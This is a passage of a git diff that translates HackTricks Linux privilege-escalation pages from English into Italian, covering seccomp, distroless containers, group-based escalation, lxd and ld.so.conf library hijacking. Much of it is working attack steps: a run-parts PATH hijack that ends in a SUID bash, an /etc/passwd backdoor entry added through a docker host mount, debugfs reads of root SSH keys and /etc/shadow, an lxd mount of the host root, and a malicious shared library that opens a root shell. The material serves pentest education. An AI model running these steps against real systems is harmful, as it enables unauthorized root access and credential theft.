O_WRONLY); +const char *val = "test"; - //enables strict seccomp mode - printf("Calling prctl() to set seccomp strict mode...\n"); - prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); +//enables strict seccomp mode +printf("Calling prctl() to set seccomp strict mode...\n"); +prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); - //This is allowed as the file was already opened - printf("Writing to an already open file...\n"); - write(output, val, strlen(val)+1); +//This is allowed as the file was already opened +printf("Writing to an already open file...\n"); +write(output, val, strlen(val)+1); - //This isn't allowed - printf("Trying to open file for reading...\n"); - int input = open("output.txt", O_RDONLY); +//This isn't allowed +printf("Trying to open file for reading...\n"); +int input = open("output.txt", O_RDONLY); - printf("You will not see this message--the process will be killed first\n"); +printf("You will not see this message--the process will be killed first\n"); } ``` - ### Seccomp-bpf -This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. - +Questa modalità consente **il filtraggio delle chiamate di sistema utilizzando una politica configurabile** implementata tramite regole di Berkeley Packet Filter. ```c:seccomp_bpf.c #include #include @@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple //gcc seccomp_bpf.c -o seccomp_bpf -lseccomp void main(void) { - /* initialize the libseccomp context */ - scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); +/* initialize the libseccomp context */ +scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); - /* allow exiting */ - printf("Adding rule : Allow exit_group\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); +/* allow exiting */ +printf("Adding rule : Allow exit_group\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); - /* allow getting the current pid */ - //printf("Adding rule : Allow getpid\n"); - //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); +/* allow getting the current pid */ +//printf("Adding rule : Allow getpid\n"); +//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); - printf("Adding rule : Deny getpid\n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); - /* allow changing data segment size, as required by glibc */ - printf("Adding rule : Allow brk\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); +printf("Adding rule : Deny getpid\n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); +/* allow changing data segment size, as required by glibc */ +printf("Adding rule : Allow brk\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); - /* allow writing up to 512 bytes to fd 1 */ - printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, - SCMP_A0(SCMP_CMP_EQ, 1), - SCMP_A2(SCMP_CMP_LE, 512)); +/* allow writing up to 512 bytes to fd 1 */ +printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, +SCMP_A0(SCMP_CMP_EQ, 1), +SCMP_A2(SCMP_CMP_LE, 512)); - /* if writing to any other fd, return -EBADF */ - printf("Adding rule : Deny write to any FD except 1 \n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, - SCMP_A0(SCMP_CMP_NE, 1)); +/* if writing to any other fd, return -EBADF */ +printf("Adding rule : Deny write to any FD except 1 \n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, +SCMP_A0(SCMP_CMP_NE, 1)); - /* load and enforce the filters */ - printf("Load rules and enforce \n"); - seccomp_load(ctx); - seccomp_release(ctx); - //Get the getpid is denied, a weird number will be returned like - //this process is -9 - printf("this process is %d\n", getpid()); +/* load and enforce the filters */ +printf("Load rules and enforce \n"); +seccomp_load(ctx); +seccomp_release(ctx); +//Get the getpid is denied, a weird number will be returned like +//this process is -9 +printf("this process is %d\n", getpid()); } ``` - ## Seccomp in Docker -**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ -You can run a docker container with a **different seccomp** policy with: - +**Seccomp-bpf** è supportato da **Docker** per limitare le **syscalls** dai container, riducendo efficacemente la superficie di attacco. Puoi trovare le **syscalls bloccate** per **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) e il **profilo seccomp di default** può essere trovato qui [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ +Puoi eseguire un container docker con una **politica seccomp** **diversa** con: ```bash docker run --rm \ - -it \ - --security-opt seccomp=/path/to/seccomp/profile.json \ - hello-world +-it \ +--security-opt seccomp=/path/to/seccomp/profile.json \ +hello-world ``` - -If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ -If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls** of `uname` are discovered: - +Se vuoi, ad esempio, **vietare** a un container di eseguire alcune **syscall** come `uname`, puoi scaricare il profilo predefinito da [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) e semplicemente **rimuovere la stringa `uname` dalla lista**.\ +Se vuoi assicurarti che **alcun binario non funzioni all'interno di un container docker**, puoi usare strace per elencare le syscall che il binario sta utilizzando e poi vietarle.\ +Nell'esempio seguente vengono scoperte le **syscall** di `uname`: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` - > [!NOTE] -> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +> Se stai usando **Docker solo per avviare un'applicazione**, puoi **profilare** con **`strace`** e **consentire solo le syscalls** di cui ha bisogno -### Example Seccomp policy +### Esempio di politica Seccomp -[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) - -To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. +[Esempio da qui](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) +Per illustrare la funzionalità Seccomp, creiamo un profilo Seccomp che disabilita la chiamata di sistema “chmod” come di seguito. ```json { - "defaultAction": "SCMP_ACT_ALLOW", - "syscalls": [ - { - "name": "chmod", - "action": "SCMP_ACT_ERRNO" - } - ] +"defaultAction": "SCMP_ACT_ALLOW", +"syscalls": [ +{ +"name": "chmod", +"action": "SCMP_ACT_ERRNO" +} +] } ``` - -In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ -Following output shows the “chmod” call returning error because its disabled in the seccomp profile - +Nel profilo sopra, abbiamo impostato l'azione predefinita su "allow" e creato una lista nera per disabilitare "chmod". Per essere più sicuri, possiamo impostare l'azione predefinita su drop e creare una lista bianca per abilitare selettivamente le chiamate di sistema.\ +L'output seguente mostra la chiamata "chmod" che restituisce un errore perché è disabilitata nel profilo seccomp. ```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` - -Following output shows the “docker inspect” displaying the profile: - +L'output seguente mostra il "docker inspect" che visualizza il profilo: ```json "SecurityOpt": [ - "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" - ] +"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" +] ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index a733d5934..921283eca 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -4,27 +4,27 @@ ## What is Distroless -A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components. +Un container distroless è un tipo di container che **contiene solo le dipendenze necessarie per eseguire un'applicazione specifica**, senza alcun software o strumento aggiuntivo che non sia richiesto. Questi container sono progettati per essere il più **leggeri** e **sicuri** possibile e mirano a **minimizzare la superficie di attacco** rimuovendo componenti non necessari. -Distroless containers are often used in **production environments where security and reliability are paramount**. +I container distroless sono spesso utilizzati in **ambienti di produzione dove la sicurezza e l'affidabilità sono fondamentali**. -Some **examples** of **distroless containers** are: +Alcuni **esempi** di **container distroless** sono: -- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) -- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) +- Forniti da **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) +- Forniti da **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) ## Weaponizing Distroless -The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`. +L'obiettivo di armare un container distroless è essere in grado di **eseguire binari e payload arbitrari anche con le limitazioni** imposte da **distroless** (mancanza di binari comuni nel sistema) e anche protezioni comunemente trovate nei container come **sola lettura** o **nessuna esecuzione** in `/dev/shm`. ### Through memory -Coming at some point of 2023... +In arrivo a un certo punto del 2023... ### Via Existing binaries #### openssl -\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container. +\***\*[**In questo post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) si spiega che il binario **`openssl`** è frequentemente trovato in questi container, potenzialmente perché è **necessario\*\* dal software che verrà eseguito all'interno del container. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index f34a6d548..785a2ce36 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,13 +1,12 @@ -# Interesting Groups - Linux Privesc +# Gruppi Interessanti - Linux Privesc {{#include ../../../banners/hacktricks-training.md}} -## Sudo/Admin Groups +## Gruppi Sudo/Admin -### **PE - Method 1** - -**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: +### **PE - Metodo 1** +**A volte**, **per impostazione predefinita (o perché alcuni software ne hanno bisogno)** all'interno del file **/etc/sudoers** puoi trovare alcune di queste righe: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -15,48 +14,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +Questo significa che **qualsiasi utente che appartiene al gruppo sudo o admin può eseguire qualsiasi cosa come sudo**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Se questo è il caso, per **diventare root puoi semplicemente eseguire**: ``` sudo su ``` +### PE - Metodo 2 -### PE - Method 2 - -Find all suid binaries and check if there is the binary **Pkexec**: - +Trova tutti i binari suid e controlla se c'è il binario **Pkexec**: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ -This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: - +Se scopri che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, probabilmente potresti eseguire binari come sudo utilizzando `pkexec`.\ +Questo perché tipicamente questi sono i gruppi all'interno della **politica polkit**. Questa politica identifica fondamentalmente quali gruppi possono utilizzare `pkexec`. Controllalo con: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni linux i gruppi **sudo** e **admin** appaiono. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. - -To **become root you can execute**: - +Per **diventare root puoi eseguire**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +Se provi a eseguire **pkexec** e ricevi questo **errore**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione per questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` +## Gruppo Wheel -## Wheel Group - -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**A volte**, **per impostazione predefinita** all'interno del **/etc/sudoers** file puoi trovare questa riga: ``` %wheel ALL=(ALL:ALL) ALL ``` +Questo significa che **qualsiasi utente che appartiene al gruppo wheel può eseguire qualsiasi cosa come sudo**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Se questo è il caso, per **diventare root puoi semplicemente eseguire**: ``` sudo su ``` +## Gruppo Shadow -## Shadow Group - -Users from the **group shadow** can **read** the **/etc/shadow** file: - +Gli utenti del **gruppo shadow** possono **leggere** il file **/etc/shadow**: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +Quindi, leggi il file e prova a **crackare alcuni hash**. -So, read the file and try to **crack some hashes**. +## Gruppo Staff -## Staff Group - -**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups) - -In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not. +**staff**: Consente agli utenti di aggiungere modifiche locali al sistema (`/usr/local`) senza necessitare di privilegi di root (nota che gli eseguibili in `/usr/local/bin` sono nella variabile PATH di qualsiasi utente e possono "sovrascrivere" gli eseguibili in `/bin` e `/usr/bin` con lo stesso nome). Confronta con il gruppo "adm", che è più legato al monitoraggio/sicurezza. [\[source\]](https://wiki.debian.org/SystemGroups) +Nelle distribuzioni debian, la variabile `$PATH` mostra che `/usr/local/` verrà eseguita con la massima priorità, sia che tu sia un utente privilegiato o meno. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -107,11 +86,9 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` +Se riusciamo a dirottare alcuni programmi in `/usr/local`, possiamo facilmente ottenere i privilegi di root. -If we can hijack some programs in `/usr/local`, we can easy to get root. - -Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login). - +Dirottare il programma `run-parts` è un modo semplice per ottenere i privilegi di root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh). ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` - -or When a new ssh session login. - +o Quando si effettua il login a una nuova sessione ssh. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -134,9 +109,7 @@ $ pspy64 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` - -**Exploit** - +**Sfruttare** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts @@ -155,13 +128,11 @@ $ ls -la /bin/bash # 0x5 root it $ /bin/bash -p ``` +## Gruppo Disco -## Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +Questo privilegio è quasi **equivalente all'accesso root** poiché puoi accedere a tutti i dati all'interno della macchina. +File:`/dev/sd[a-z][1-9]` ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 @@ -170,57 +141,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +Nota che usando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` +Tuttavia, se provi a **scrivere file di proprietà di root** (come `/etc/shadow` o `/etc/passwd`) riceverai un errore di "**Permesso negato**". -However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. - -## Video Group - -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: +## Gruppo Video +Utilizzando il comando `w` puoi scoprire **chi è connesso al sistema** e mostrerà un output simile al seguente: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +Il **tty1** significa che l'utente **yossi è connesso fisicamente** a un terminale sulla macchina. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine corrente sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: +Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il **`screen.raw`** file e selezionare come tipo di file **Raw image data**: ![](<../../../images/image (463).png>) -Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): +Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e controlla diversi Tipi di Immagine (e seleziona quello che mostra meglio lo schermo): ![](<../../../images/image (317).png>) -## Root Group +## Gruppo Root -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per escalare i privilegi... +**Controlla quali file i membri root possono modificare**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +## Gruppo Docker -## Docker Group - -You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. - +Puoi **montare il filesystem root della macchina host su un volume dell'istanza**, così quando l'istanza si avvia carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina. ```bash docker image #Get images from the docker service @@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` - -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: +Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?) puoi sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui: {{#ref}} ../docker-security/ {{#endref}} -If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** +Se hai permessi di scrittura sul socket docker leggi [**questo post su come escalare i privilegi abusando del socket docker**](../#writable-docker-socket)**.** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +## Gruppo lxc/lxd {{#ref}} ./ {{#endref}} -## Adm Group +## Gruppo Adm -Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ -Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. +Di solito i **membri** del gruppo **`adm`** hanno permessi per **leggere i file di log** situati in _/var/log/_.\ +Pertanto, se hai compromesso un utente all'interno di questo gruppo dovresti sicuramente dare un **occhiata ai log**. -## Auth group +## Gruppo Auth -Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ -These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +All'interno di OpenBSD il gruppo **auth** di solito può scrivere nelle cartelle _**/etc/skey**_ e _**/var/db/yubikey**_ se vengono utilizzate.\ +Questi permessi possono essere abusati con il seguente exploit per **escalare i privilegi** a root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index f308931ab..51cbb5059 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -1,15 +1,14 @@ -# lxd/lxc Group - Privilege escalation +# lxd/lxc Gruppo - Escalation dei privilegi {{#include ../../../banners/hacktricks-training.md}} -If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root +Se appartieni al gruppo _**lxd**_ **o** _**lxc**_, puoi diventare root -## Exploiting without internet +## Sfruttare senza internet -### Method 1 - -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): +### Metodo 1 +Puoi installare sulla tua macchina questo distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(segui le istruzioni del github): ```bash sudo su # Install requirements @@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ## Using build-lxc sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 ``` - -Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container: - +Carica i file **lxd.tar.xz** e **rootfs.squashfs**, aggiungi l'immagine al repository e crea un contenitore: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine @@ -51,23 +48,19 @@ lxc list lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` - > [!CAUTION] -> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -> Run **`lxd init`** and **repeat** the previous chunk of commands - -Finally you can execute the container and get root: +> Se trovi questo errore _**Errore: Nessun pool di archiviazione trovato. Si prega di creare un nuovo pool di archiviazione**_\ +> Esegui **`lxd init`** e **ripeti** il blocco di comandi precedente +Infine puoi eseguire il contenitore e ottenere root: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` +### Metodo 2 -### Method 2 - -Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. - +Crea un'immagine Alpine e avviala utilizzando il flag `security.privileged=true`, costringendo il container a interagire come root con il filesystem host. ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder @@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index ab2683a9b..9c9fd8a51 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -2,82 +2,71 @@ {{#include ../../banners/hacktricks-training.md}} -## Prepare the environment +## Preparare l'ambiente -In the following section you can find the code of the files we are going to use to prepare the environment +Nella sezione seguente puoi trovare il codice dei file che useremo per preparare l'ambiente {{#tabs}} {{#tab name="sharedvuln.c"}} - ```c #include #include "libcustom.h" int main(){ - printf("Welcome to my amazing application!\n"); - vuln_func(); - return 0; +printf("Welcome to my amazing application!\n"); +vuln_func(); +return 0; } ``` - {{#endtab}} {{#tab name="libcustom.h"}} - ```c #include void vuln_func(); ``` - {{#endtab}} {{#tab name="libcustom.c"}} - ```c #include void vuln_func() { - puts("Hi"); +puts("Hi"); } ``` - {{#endtab}} {{#endtabs}} -1. **Create** those files in your machine in the same folder -2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) -4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **Crea** quei file nella tua macchina nella stessa cartella +2. **Compila** la **libreria**: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. **Copia** `libcustom.so` in `/usr/lib`: `sudo cp libcustom.so /usr/lib` (privilegi di root) +4. **Compila** l'**eseguibile**: `gcc sharedvuln.c -o sharedvuln -lcustom` -### Check the environment - -Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. +### Controlla l'ambiente +Controlla che _libcustom.so_ venga **caricato** da _/usr/lib_ e che tu possa **eseguire** il binario. ``` $ ldd sharedvuln - linux-vdso.so.1 => (0x00007ffc9a1f7000) - libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) - /lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) +linux-vdso.so.1 => (0x00007ffc9a1f7000) +libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) +/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) $ ./sharedvuln Welcome to my amazing application! Hi ``` - ## Exploit -In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: - +In questo scenario supponiamo che **qualcuno abbia creato un'entrata vulnerabile** all'interno di un file in _/etc/ld.so.conf/_: ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` - -The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ -**Download and compile** the following code inside that path: - +La cartella vulnerabile è _/home/ubuntu/lib_ (dove abbiamo accesso in scrittura).\ +**Scarica e compila** il seguente codice all'interno di quel percorso: ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ #include void vuln_func(){ - setuid(0); - setgid(0); - printf("I'm the bad library\n"); - system("/bin/sh",NULL,NULL); +setuid(0); +setgid(0); +printf("I'm the bad library\n"); +system("/bin/sh",NULL,NULL); } ``` +Ora che abbiamo 